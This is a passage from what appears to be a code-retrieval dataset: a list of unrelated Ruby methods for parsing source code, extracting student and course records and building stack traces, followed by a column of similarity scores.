Regexp.new(\"#{Regexp.escape(@options[:comment_chars][:heredoc])}(\\\\S+)$\")\n end\n lines.each do |line|\n # If we're currently in a comment block, check whether the line matches\n # the _end_ of a comment block or the _end_ of a comment block with a\n # comment.\n if in_comment_block\n if block_comment_end && line.match(block_comment_end)\n in_comment_block = false\n elsif block_comment_end_with && line.match(block_comment_end_with)\n in_comment_block = false\n docs << line.match(block_comment_end_with).captures.first\n .sub(block_comment_mid || '', '')\n else\n docs << line.sub(block_comment_mid || '', '')\n end\n # If we're currently in a heredoc, we're looking for the end of the\n # heredoc, and everything it contains is code.\n elsif in_heredoc\n if line.match(Regexp.new(\"^#{Regexp.escape(in_heredoc)}$\"))\n in_heredoc = false\n end\n code << line\n # Otherwise, check whether the line starts a heredoc. If so, note the end\n # pattern, and the line is code. Otherwise check whether the line matches\n # the beginning of a block, or a single-line comment all on it's lonesome.\n # In either case, if there's code, start a new section.\n else\n if heredoc_start && line.match(heredoc_start)\n in_heredoc = Regexp.last_match[1]\n code << line\n elsif block_comment_one_liner && line.match(block_comment_one_liner)\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.match(block_comment_one_liner).captures.first\n elsif block_comment_start && line.match(block_comment_start)\n in_comment_block = true\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n elsif block_comment_start_with && line.match(block_comment_start_with)\n in_comment_block = true\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.match(block_comment_start_with).captures.first\n elsif single_line_comment && line.match(single_line_comment)\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.sub(single_line_comment || '', '')\n else\n code << line\n end\n end\n end\n sections << [docs, code] if docs.any? || code.any?\n normalize_leading_spaces(sections)\n end",
"def divideCode longCode\n\t\t# regex to find n characters, a space, then n numbers\n\t\t# the rest is the section code\n\t\t# \"hello\".rpartition(/.l/) #=> [\"he\", \"ll\", \"o\"]\n\n\t\t# this regex searches for three numbers sandwiched between letters\n\t\tregex = /(?<=[A-Z]) ?[0-9]{3}(?=[A-Z])/\n\t\t# strip whitespace and search\n\t\tresults = longCode.gsub(/\\s+/, \"\").rpartition(regex);\n\n\t\t# puts \"#{results[0]}|#{results[1]}|#{results[2]}\"\n\n\t\tif results[0].length > 0 and results[1].length > 0 and results[2].length > 0\n\t\t\t# valid results\n\t\t\tdepartmentCode = results[0]\n\t\t\tcourseCode = results[1]\n\t\t\tsectionShortcode = results[2]\n\t\t\treturn [departmentCode, courseCode, sectionShortcode]\n\t\telse \n\t\t\t# invalid results\n\t\t\treturn []\n\t\tend\n\tend",
"def source_line(lineno); end",
"def ast; end",
"def ast; end",
"def find_student(student_name)\n\tputs \"Welcome back! Feel free to drink some Butterbeer!\"\nend",
"def parse_code(code)\n p Parser::CurrentRuby.parse(code)\n end",
"def read_code1(source_file)\n code = \"\"\n lines = 0\n width = 0\n File.open(source_file) do |code_file|\n code_file.readlines.each do |line|\n code += \" #{line}\"\n lines += 1\n width = line.length if line.length > width\n end\n end\n [code,lines,width]\nend",
"def extract_content(num_of_line)\n target_line = ''\n # target method declare line will record\n # the first line of the method which target line belongs to.\n # target method declare line is to make sure\n # if the target line appear multiple times in one file\n # the return value will be the correct method block instead of\n # the last method block including target line\n target_method_declare_line = ''\n File.readlines(@filename).each_with_index do |line, line_num|\n target_method_declare_line = line.lstrip if line.lstrip.start_with? 'def '\n if num_of_line == line_num + 1\n target_line = line\n break\n end\n end\n [target_line, target_method_declare_line]\n end",
"def parse(source_buffer); end",
"def parse(source_buffer); end",
"def parse(source_buffer); end",
"def sic_code; end",
"def source_line=(_); end",
"def code_snippet(source_file, source_line) #exception\n ##backtrace = exception.backtrace.reject{ |bt| bt =~ INTERNALS }\n ##backtrace.first =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #source_file, source_line = $1, $2.to_i\n\n source = source(source_file)\n\n radius = @radius # number of surrounding lines to show\n region = [source_line - radius, 1].max ..\n [source_line + (radius + 2), source.length].min\n\n # ensure proper alignment by zero-padding line numbers\n #format = \" %6s %0#{region.last.to_s.length}d %s\"\n #pretty = region.map do |n|\n # format % [('=>' if n == source_line), n, source[n-1].chomp]\n #end #.unshift \"[#{region.inspect}] in #{source_file}\"\n #pretty\n\n # create an ordered hash of line => code\n region.map do |n|\n {n => source[n-1].rstrip}\n end\n end",
"def source_line\n @source_location[1]\n end",
"def carma_facs_parse_header(line, id_map)\n m = line.match(/=(\\d+)/) \n if m.nil?\n STDERR.puts \"No id found\"\n exit 1\n end \n id = m[1]\n m = line.match (/SOURCE_1=\\\"(.*)\\\"/) \n if m.nil?\n STDERR.puts \"No name found\"\n exit 1\n end \n name=m[1]\n identifier_map(id, name, id_map)\nend",
"def parse835(first_line) read_header(first_line).read_parties.read_details.read_adjustments.read_trailer; end",
"def code\n @code\n end",
"def code\n @code\n end",
"def process_code_listing(lines)\n # extract caption\n caption = nil\n # no caption for listings in appendix\n if !lines.first.index(\",\").nil?\n raise \"error [#{lines.first.index(\",\")}] [#{lines.first}]\" if lines.first.split(\",\").size != 2\n raise \"error\" if lines.first.split(\",\").first.split(\"=\").size != 2\n caption = lines.first.split(\",\").first.split(\"=\")[1] \n end\n # remove start and end\n lines = lines[1..-1]\n # pretty print \n return final_pretty_code_listing(lines, caption)\nend",
"def format_source(source); end",
"def extract_class_code_and_subj_name( params, subject_name, class_code )\n subject = Subject.where( \"subject_name = ?\", params[:subject_name] ).first\n school_class = SchoolClass.where( \"class_code = ?\", params[:class_code] ).first\n return subject, school_class\n end",
"def convert_to_ruby (src)\n rb = \"\"\n # dunno how to deal with only leading declarations of ruby code,\n # so replace it with the other markings\n src.gsub!(/-%>/,\"%>\")\n while\tsrc.index(Embedded_ruby_line) != nil\n src.sub!(Embedded_ruby_line) { |match|\n match[match.index '%'] = \" \"\n \"<% \" + match + \" %>\"\n }\n end\n lines = src.split(Embedded_ruby_flag)\n\n is_ruby_line = false\n lines.each { |line|\n if (line.strip != \"\" and line.strip != nil)\n if is_ruby_line\n if line[0,1] == '='\n # line[0] = \" \"\n # rb += \"puts \" + line.strip\n rb+=\"gr_html_puts \"+line.strip\n else\n rb += line.strip\n end\n else\n rb += \"gr_html( \" + line.inspect + \" )\"\n end\n rb += \"\\n\"\n end\n is_ruby_line = (not is_ruby_line)\n }\n #puts rb\n return rb\n end",
"def parse_codeblocks(html); end",
"def get_names\n\t face = html.search(\".student .card\")\n\t students = []\n\t face.collect do |element|\n\t students << element.text\n\t end\n\t end",
"def source_str(program)\n languages = program.languages\n language_str = languages.map { |l| l.value }.join(', ')\n if language_str.length.nonzero?\n raw(\n content_tag(:span, class: \"has-tip\", title: \"Source code: #{language_str}\") do\n tag(:i, class: [\"fas\", \"fa-code\"])\n end\n )\n end\n end",
"def src!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 60)\n # - - - - label initialization - - - -\n file = nil\n line = nil\n\n\n \n # - - - - main rule block - - - -\n # at line 604:7: 'src' ' ' file= ACTION_STRING_LITERAL ' ' line= INT\n match(\"src\")\n match(?\\s)\n file_start_1006 = self.character_index\n action_string_literal!\n file = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = file_start_1006\n t.stop = self.character_index - 1\n end\n match(?\\s)\n line_start_1012 = self.character_index\n int!\n line = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = line_start_1012\n t.stop = self.character_index - 1\n end\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 60)\n\n end",
"def tokenizer_result_row_swimmer_code\n TokenExtractor.new(\n :swimmer_code,\n /([a-z?]{3}-\\d{6})/i,\n 10 # (max size)\n )\n end",
"def markup_code\n return '' unless @token_stream\n\n src = RDoc::TokenStream.to_html @token_stream\n\n # dedent the source\n indent = src.length\n lines = src.lines.to_a\n lines.shift if src =~ /\\A.*#\\ *File/i # remove '# File' comment\n lines.each do |line|\n if line =~ /^ *(?=\\S)/\n n = $&.length\n indent = n if n < indent\n break if n == 0\n end\n end\n src.gsub!(/^#{' ' * indent}/, '') if indent > 0\n\n add_line_numbers(src) if options.line_numbers\n\n src\n end",
"def code_snippet(file, line)\n s = []\n if File.file?(file)\n source = source(file)\n radius = 2 # TODO: make customizable (number of surrounding lines to show)\n region = [line - radius, 1].max ..\n [line + radius, source.length].min\n\n s = region.map do |n|\n {n => source[n-1].chomp}\n end\n end\n return s\n end",
"def code_snippet(file, line)\n s = []\n if File.file?(file)\n source = source(file)\n radius = 2 # TODO: make customizable (number of surrounding lines to show)\n region = [line - radius, 1].max ..\n [line + radius, source.length].min\n\n s = region.map do |n|\n {n => source[n-1].chomp}\n end\n end\n return s\n end",
"def header\n source_code.gsub /\\n^[^#].*/m, ''\n end",
"def parse(code)\n class_and_fields = split_by_line(code, 0)[:line]\n # input result to fields array\n return class_and_fields\n end",
"def code_parts\n @code_parts ||= code.to_s.split(\"-\")\n end",
"def parse_codespan\n start_line_number = @src.current_line_number\n result = @src.scan(CODESPAN_DELIMITER)\n simple = (result.length == 1)\n saved_pos = @src.save_pos\n\n if simple && @src.pre_match =~ /\\s\\Z|\\A\\Z/ && @src.match?(/\\s/)\n add_text(result)\n return\n end\n\n # assign static regex to avoid allocating the same on every instance\n # where +result+ equals a single-backtick. Interpolate otherwise.\n if result == '`'\n scan_pattern = /`/\n str_sub_pattern = /`\\Z/\n else\n scan_pattern = /#{result}/\n str_sub_pattern = /#{result}\\Z/\n end\n\n if (text = @src.scan_until(scan_pattern))\n text.sub!(str_sub_pattern, '')\n unless simple\n text = text[1..-1] if text[0..0] == ' '\n text = text[0..-2] if text[-1..-1] == ' '\n end\n @tree.children << Element.new(:codespan, text, nil, {\n codespan_delimiter: result,\n location: start_line_number\n })\n\n else\n @src.revert_pos(saved_pos)\n add_text(result)\n end\n end",
"def parseCpGenerateCode\n return @fields[0][0][0]\n end",
"def preprocess_code(code_string)\n code_string.lines.collect { |line| l = line.strip; l unless l.empty?}.compact\n end"
] | [
"0.60492027",
"0.5954043",
"0.589249",
"0.58797973",
"0.5722023",
"0.56838745",
"0.5664355",
"0.55895305",
"0.5587683",
"0.5578158",
"0.55733454",
"0.5569232",
"0.5540921",
"0.5503417",
"0.54738206",
"0.5472135",
"0.5436016",
"0.54348767",
"0.54334074",
"0.54332197",
"0.5389665",
"0.53680146",
"0.53680146",
"0.53680146",
"0.53680146",
"0.5360028",
"0.5360028",
"0.53359044",
"0.5325709",
"0.53196",
"0.53119993",
"0.52885646",
"0.52726406",
"0.52672887",
"0.5253112",
"0.5252095",
"0.52309054",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.52205896",
"0.5215937",
"0.5203659",
"0.52034503",
"0.5197259",
"0.519706",
"0.5166834",
"0.5166834",
"0.5165775",
"0.5165531",
"0.5161377",
"0.5155318",
"0.5136606",
"0.51317877",
"0.5131029",
"0.5120117",
"0.5117901",
"0.51094437",
"0.5101982",
"0.5101982",
"0.50988054",
"0.5090637",
"0.5085311",
"0.5081563",
"0.5079039",
"0.5079039",
"0.5079039",
"0.5075567",
"0.50701785",
"0.504218",
"0.50403124",
"0.5031912",
"0.5031784",
"0.5026795",
"0.5026795",
"0.5025954",
"0.5023257",
"0.50126743",
"0.50060743",
"0.50035673",
"0.500175",
"0.49924335",
"0.4990485",
"0.4989364",
"0.49821866",
"0.49798658",
"0.49798658",
"0.49758482",
"0.4960819",
"0.49587318",
"0.49548122",
"0.49508455",
"0.4947578"
] | 0.5713253 | 5 |
Extracts the student code and its trace | def code_analyzer(code, first_trace)
code_to_viz = code_splitter(code)
trace_analyzer = TraceAnalyzer.new
trace_analyzer.handle_everything(code_to_viz, first_trace)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def code_splitter(code)\n student_code = []\n code = code.split('startTraceNow();')\n new_code = code[1].split('endTraceNow();')\n executed_code = new_code[0]\n executed_code_list = executed_code.split('\\\\n')\n flag = false\n counter = 0\n until flag\n if executed_code_list[counter] == '' || executed_code_list[counter] == ' '\n flag = false\n counter += 1\n elsif executed_code_list[counter] != ''\n flag = true\n end\n end\n x = counter\n while x < executed_code_list.length\n temp = executed_code_list[x]\n temp = temp.strip\n student_code << executed_code_list[x] unless temp.empty?\n\n x += 1\n end\n student_code\nend",
"def inspect\n \"Student(#{@id}, #{@name.inspect})\"\n end",
"def inspect\n \"Student(#{@id}, #{@name.inspect})\"\n end",
"def get_line(code)\n return code[2][0]\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def get_marks_graders_student_table_info(students, grade_entry_form)\n students.map do |student|\n s = student.attributes\n s[:graders] = lookup_graders_for_student(student, grade_entry_form)\n s[:section_name] = student.has_section? ? student.section.name : nil\n s\n end\n end",
"def sped_data(student)\n {\n sped_level: sped_level(student),\n sped_tooltip_message: sped_tooltip_message(student),\n sped_bubble_class: sped_bubble_class(student)\n }\n end",
"def setup_abst_info(record)\n text = []\n record.find_all{|f| f.tag === \"520\" }.each do |field|\n textstr = ''\n field.each do |sf|\n textstr << sf.value + ' ' unless [\"c\", \"2\",\"3\",\"6\"].include?(sf.code)\n end\n text << textstr\n end\n Rails.logger.debug \"********es287_dev #{__FILE__} #{__LINE__} #{__method__} #{text[0]}\"\n text\n end",
"def parse_codespan; end",
"def pcode4\n school.sierra_code\n end",
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def lookup_graders_for_student(student, grade_entry_form)\n # Find the grade_entry_student which matches the form id\n grade_entry_student = student.grade_entry_students.find do |entry|\n entry.grade_entry_form_id == grade_entry_form.id\n end\n\n # Map their info\n graders = ''\n if !grade_entry_student.nil?\n graders = grade_entry_student.grade_entry_student_tas.map do |gest|\n m = {}\n m[:user_name] = gest.ta.user_name\n m[:membership_id] = gest.id\n m\n end\n end\n\n graders\n end",
"def extract_name(students)\n student_names = []\n students.each do |student|\n student_names.push(student[:name])\n end\n return student_names\nend",
"def code_extractor(code)\n { code: code[:code], code_system: code[:codeSystem], title: code[:descriptor] }\n end",
"def stacktrace\n result = caller().reduce([]) do |memo, loc|\n if loc =~ /\\A(.*\\.pp)?:([0-9]+):in\\s(.*)/\n # if the file is not found we set to code\n # and read from Puppet[:code]\n # $3 is reserved for the stacktrace type\n memo << [$1.nil? ? :code : $1, $2.to_i]\n end\n memo\n end.reverse\n end",
"def findLinesOfCode()\n @students.each do |student|\n repos = Octokit.repositories \"#{student[0]}\"\n totalLinesOfCode = []\n\n repos.each_with_index do |v, i|\n begin\n linesOfCode = Octokit.code_frequency_stats(\"#{student[0]}/#{repos[i][:name]}\")\n linesOfCode.each_with_index do |x, d|\n totalLinesOfCode << linesOfCode[d][1]\n end\n rescue; end\n end\n\n student[1][:totalLinesOfCode] = totalLinesOfCode.inject(0) do |sum, x| \n sum + x \n end\n end\nend",
"def parse837(first_line) read_837_header(first_line).skip_to_trailer.read_837_trailer; end",
"def extract_class_code_and_subj_name( params, subject_name, class_code )\n subject = Subject.where( \"subject_name = ?\", params[:subject_name] ).first\n school_class = SchoolClass.where( \"class_code = ?\", params[:class_code] ).first\n return subject, school_class\n end",
"def print(students)\n students.select { |student_info| student_info[:name][0] == \"C\" }.each_with_index { |student_info, index| puts \"#{index+1}. #{student_info[:name]}, (#{student_info[:cohort]} cohort)\" }\nend",
"def trace\n attributes.fetch(:trace)\n end",
"def get_trace_id(line)\n return line.split(\"\\t\")[1].to_i\nend",
"def extract_source_from(error)\n extract = []\n \n code = error.backtrace[1]\n md = code.match(%r{:(\\d+):in `(.*)'$})\n line_num = md[1].to_i\n\n if lines = code.split(\"\\n\")[(line_num - RADIUS)..(line_num + RADIUS)]\n lines.each_with_index do |line, idx|\n lidx = line_num - RADIUS + idx \n extract << \"#{lidx}: #{line}\"\n end \n end\n \n return extract\n end",
"def student_id\n @net_ldap_entry[:berkeleyedustuid].first\n end",
"def retrieve_student_info(assignment, classroom)\n # First, call the API to get the PR data\n pr_info = get_prs(assignment.repo_url)\n\n # Get the students in the classroom\n classroom_students = Student.where(classroom_id: classroom.id).sort\n\n # Use the PR data to construct the list of students submitted\n pr_students = pr_student_submissions(assignment, pr_info, classroom_students)\n\n # Add te student info for those who haven't submitted\n pr_students = add_missing_students(pr_students, classroom_students, assignment)\n return pr_students\n end",
"def exam_marks(subject, student)\n exam = exam_data(subject)\n exam_score = exam.scores(student)\n unless exam_score.nil?\n if exam.nil?\n result = 'NA'\n else\n exam_score.nil? ? result = '-' : result = type_result(exam, exam_score)\n end\n result\n end \n end",
"def readinformation student\n [student[:firstname], student[:lastname], student[:course]]\nend",
"def parse_student_number(raw)\n if raw.blank?\n errors.add :student_number, \"SAML student number value missing\"\n return nil\n end\n\n value = nil\n\n if raw.is_a?(Array)\n value = parse_student_number_from_array(raw)\n elsif raw.is_a?(String)\n value = parse_student_number_from_string(raw)\n else\n raise ArgumentError, \"Student number must be given either as String or String[] to preserve the leading zero.\"\n end\n\n if value.blank?\n errors.add :student_number, \"SAML student number could not be found\"\n return nil\n end\n\n value.split(\":\").last\n end",
"def get_matching_students\n\t\tstudent\n\tend",
"def line_code\n @attrs['Line']\n end",
"def submission_status_of(student_name)\n frm.table(:class=>\"listHier lines nolines\").row(:text=>/#{Regexp.escape(student_name)}/)[4].text\n end",
"def submission_status_of(student_name)\n frm.table(:class=>\"listHier lines nolines\").row(:text=>/#{Regexp.escape(student_name)}/)[4].text\n end",
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def student_name\n student = Student.find_by_admission_no(admission_no)\\\n if type == 'Student'\n student.first_name + ' ' + student.last_name\n end",
"def ReadStuData(id,scores)\n #read file Chp9gm2i.txt and get the student id and scores read into an array\n @line = 0\n File.open('Chp9Pgm2i.txt','r') do |f1|\n while line = f1.gets\n @temp_line = line.split(' ')\n id [@line] = @temp_line[0] #Student's ID\n scores[@line] = @temp_line[1].to_i #Exam Score\n @line = @line +1\n end #ends while\n end #ends file.open\n return id, scores\nend",
"def code\n info['Code']\n end",
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def print_line(student, index)\n \"#{index}. #{student[:name]} - #{student[:cohort]} cohort, hobbies: #{student[:hobbies]}\"\nend",
"def lead_pair_name\n name = @analyses.detect{ |a| a.source =~ /\\([^,]+,[^)]+\\)/ }.source\n name = '' if not name\n return name\n end",
"def first_student_by_index\n return STUDENT_NAMES[0]\n end",
"def main_method(file_path, student_full_code)\n my_test = seperate_and_filter_trace(student_full_code, file_path,\n 'cp/traceprinter/', 'output.txt')\n Dir.chdir('/home')\n #puts my_test\n my_test\nend",
"def code\n @info.code\n end",
"def dump_line(sea_dir, bams, stats)\n line = {}\n line[:name] = sea_dir.split(\"/\")[-1]\n line[:start] = Helpers::start_end_time_output(sea_dir).split(\",\")[0]\n line[:end] = Helpers::start_end_time_output(sea_dir).split(\",\")[1]\n line[:ref] = Helpers::gather_meta_data(sea_dir).split(\",\")[0]\n line[:bfast] = Helpers::gather_meta_data(sea_dir).split(\",\")[1]\n line[:picard] = Helpers::gather_meta_data(sea_dir).split(\",\")[2]\n line[:mode] = Helpers::gather_meta_data(sea_dir).split(\",\")[3]\n line[:gatk] = Helpers::gather_meta_data(sea_dir).split(\",\")[4]\n line[:bam_path] = bams[0]\n tags = stats.size == 4 ? [ \"F3\" ] : [ \"F3\", \"R3\" ]\n tags.each do |tag|\n KEYS_PER_TAG.each do |k|\n key = k.gsub(/XX/, tag)\n if stats[key].nil?\n return \"I cannot find key: #{key}, n_keys: #{stats.size}. Bye.\"\n end\n line[key] = stats[key].gsub(/,/,\"\")\n end\n end\n line\nend",
"def structured_parts(line_86)\n line_86.split(/(>\\d{2})/)\n end",
"def extract_code_text_values_and_attributes(mods_node, template_node)\n code_text_values = {}\n child_element_names = @paired_code_text_elements[mods_node.name]\n child_element_names.each do |n|\n ['text', 'code'].each do |x|\n header_code = template_node.at_xpath(\"#{@ns}:#{n}[@type='#{x}']\")\n value = mods_node.at_xpath(\"#{@ns}:#{n}[@type='#{x}']\")\n next if header_code == nil || value == nil\n code_text_values[header_code.content.strip.slice(2..-3)] = value.content\n code_text_values.merge!(extract_attributes(value, header_code))\n end\n end\n code_text_values\n end",
"def print_A_student(arr_name)\n\tprint(arr_name.select { |name| name[:names].slice(0) == 'A'})\nend",
"def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end",
"def code_and_label\n '' << try( :code ) << ' - ' << try( :label )\n end",
"def exe_Point_Finder(trace)\n symbol_stack = []\n other_list = []\n top_symbol = ''\n exe = ''\n exe_point = ' '\n on = false\n off = false\n trace.split('').each do |i|\n current_symbol = i\n exe_point += current_symbol\n if i == '{' or i == '[' or i == '('\n symbol_stack << i\n elsif i == '}' or i == ')' or i == ']'\n if empty?(symbol_stack) == false\n top_symbol = symbol_stack.pop\n if i == '}' and top_symbol != '{'\n next\n end\n end\n elsif i == ','\n other_list << exe_point\n if symbol_stack.length.zero?\n other_list.each do |thing|\n exe += thing\n end\n if exe.include? 'startTraceNow'\n on = true\n exe = ''\n exe_point = ''\n other_list = []\n elsif exe.include? 'endTraceNow'\n off = true\n return\n else\n flag = verify_exe_point(on, off, exe)\n on = false if flag == false\n exe = ''\n exe_point = ''\n other_list = []\n end\n else\n exe_point = ''\n end\n\n else\n next\n end\n end\n end",
"def inspect\n \"pc: #{@pc} codes: #{@codes.inspect}\"\n end",
"def subCode\n if self.code.present?\n return self.codeArray[-1]\n else\n return nil\n end\n end",
"def print_student_data(student)\n puts \" - Cohort: #{student[:cohort]}\"\n # puts \" - Hobbies: #{student[:hobbies].join(\", \")}\"\n # puts \" - Height: #{student[:height]}cm\"\n # puts \" - Country of birth: #{student[:birth_country]}\"\nend",
"def parse835(first_line) read_header(first_line).read_parties.read_details.read_adjustments.read_trailer; end",
"def get_names\n\t face = html.search(\".student .card\")\n\t students = []\n\t face.collect do |element|\n\t students << element.text\n\t end\n\t end",
"def source_line\n @source_location[1]\n end",
"def get_code\n listener = event_table.find{|one| one.class == InstructionListener}\n return nil unless listener\n listener.code\n end",
"def codes\n [@attrs['Code'], @attrs['StationTogether1'], @attrs['StationTogether2']].compact\n end",
"def get_cas01_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 01 code.\"\n if facility && crosswalked_codes\n cas_01_config = facility.details[:cas_01].to_s.downcase.gsub(' ', '_')\n rcc_log.debug \"CAS 01 config : #{facility.details[:cas_01]}\"\n rcc_log.debug \"Obtaining Group code as CAS 01 code.\"\n cas_01_code = crosswalked_codes[cas_01_config.to_sym]\n rcc_log.debug \"CAS 01 code : #{cas_01_code}\"\n end\n cas_01_code.to_s.upcase\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def compare_scr\n line = Array.new\n @attribute_all.each_value{|const|\n const[1].each{|line,data|\n data.SDC.each{|sdc|\n sdc_tmp = sdc.gsub(\"\\*\",\"\").split[2].slice(2..1000)\n @RPT_ERR.each{|key,err|\n sig_tmp = err.SignalName.gsub(\"\\*\",\"\")\n if err.AttributeName == sdc.split[0] && sig_tmp == sdc_tmp\n data.ConstCheckFlag = 0\n data.SynthesisReport = err.Message\n noapply = Array.new\n noapply << line\n noapply << data.SDC\n noapply << err.Message\n @RPT_ErrorList << noapply\n end\n }\n }if data.SDC != nil\n }\n }\n end",
"def code\r\n return @code[@index]\r\n end",
"def get_stop_details(line)\nx = $subway_lines\n for i in x do\n if line == i[:line]\nline_details = i[:stops]\n end\nend\nline_details\nend",
"def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end",
"def inspect\n @code.to_s\n end",
"def collect_students(section = nil, student_attr = nil)\n @students ||= (\n student_list = data.collect{|row| row[0].to_s.sub(/COMMA\\s*/,', ').strip}\n students = student_list.collect do |student|\n s = section.rollbook_entries.detect{|rbe| rbe.student.send(student_attr) == student}\n s && s.id\n end\n students)\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n ind1 = ' '\n code, *ind2 = case term['term_type']\n when 'uniform_title'\n value = term['term'].split(\" \")[0]\n first_indicator = '0'\n if value\n hsh = {}\n hsh['A'] = '2'\n hsh['An'] = '3'\n hsh['The'] = '4'\n articles = []\n articles = hsh.keys\n first_indicator = hsh[value] if articles.include?(value)\n end\n ['630', first_indicator, source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # code borrowed from Yale to export subject authority id\n unless subject['authority_id'].nil?\n sfs << ['0', subject['authority_id']]\n end\n\n \n # N.B. ind2 is an array at this point.\n if ind2[0] == '7'\n sfs << ['2', subject['source']]\n end\n\n # adding this code snippet because I'm making ind2 an array\n # for code 630 if the title begins with an article\n if (ind2.is_a?(Array) && code == '630')\n ind1, ind2 = ind2\n else\n ind2 = ind2[0]\n end\n\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
